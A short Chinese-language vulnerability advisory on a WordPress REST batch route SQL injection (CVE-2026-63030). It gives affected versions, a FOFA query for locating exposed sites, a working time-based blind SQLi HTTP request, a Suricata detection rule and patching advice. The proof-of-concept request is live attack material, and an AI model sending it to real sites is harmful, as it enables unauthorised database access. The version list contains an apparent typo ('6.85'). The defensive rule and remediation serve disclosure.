wordPress-CVE-2026-63030-sql注入¶

wordPress-CVE-2026-63030-sql注入，攻击者可进行sql注入攻击获取数据库信息或者权限。

影响版本¶

WordPress 6.8.0-6.85

WordPress 6.9.0 – 6.9.4

WordPress 7.0.0 – 7.0.1

漏洞状态¶

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级¶

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现¶

FOFA：app="WordPress"

POC/EXP：

POST /?rest_route=/batch/v1 HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json

{"requests":[{"method":"POST","path":"http://:"},{"method":"POST","path":"/wp/v2/posts","body":{"requests":[{"method":"GET","path":"http://:"},{"method":"GET","path":"/wp/v2/categories?author_exclude=SELECT+IF%28%281%3D1%29%2CSLEEP%285%29%2C0%29"},{"method":"GET","path":"/wp/v2/posts"}]}},{"method":"POST","path":"/batch/v1"}]}

sonrt规则：

alert http any any -> $HOME_NET any (
    msg:"WordPress CVE-2026-63030 - REST batch/v1 路由混淆 + author_exclude 时间盲注 SQLi";
    flow:to_server,established;
    http.method; content:"POST";
    http.uri;
        content:"rest_route=/batch/v1";
        fast_pattern;
    http.content_type; content:"application/json";
    http.request_body;
        content:"batch/v1";
        content:"author_exclude="; distance:0;
        content:"SLEEP("; distance:0; nocase;
        content:"IF("; distance:0; nocase;
    metadata:
        service http,
        affected_product "WordPress 6.9.0-6.9.4 / 7.0.0-7.0.1",
        cve "CVE-2026-63030",
        cve "CVE-2026-60137",
        vulnerability_type "REST Route Confusion / SQL Injection (Time-based Blind)",
        severity "critical";
    classtype:web-application-attack;
    sid:1000723;
    rev:1;
    priority:1;
)

漏洞修复¶

关闭互联网暴露面或接口设置访问权限，升级至安全版本。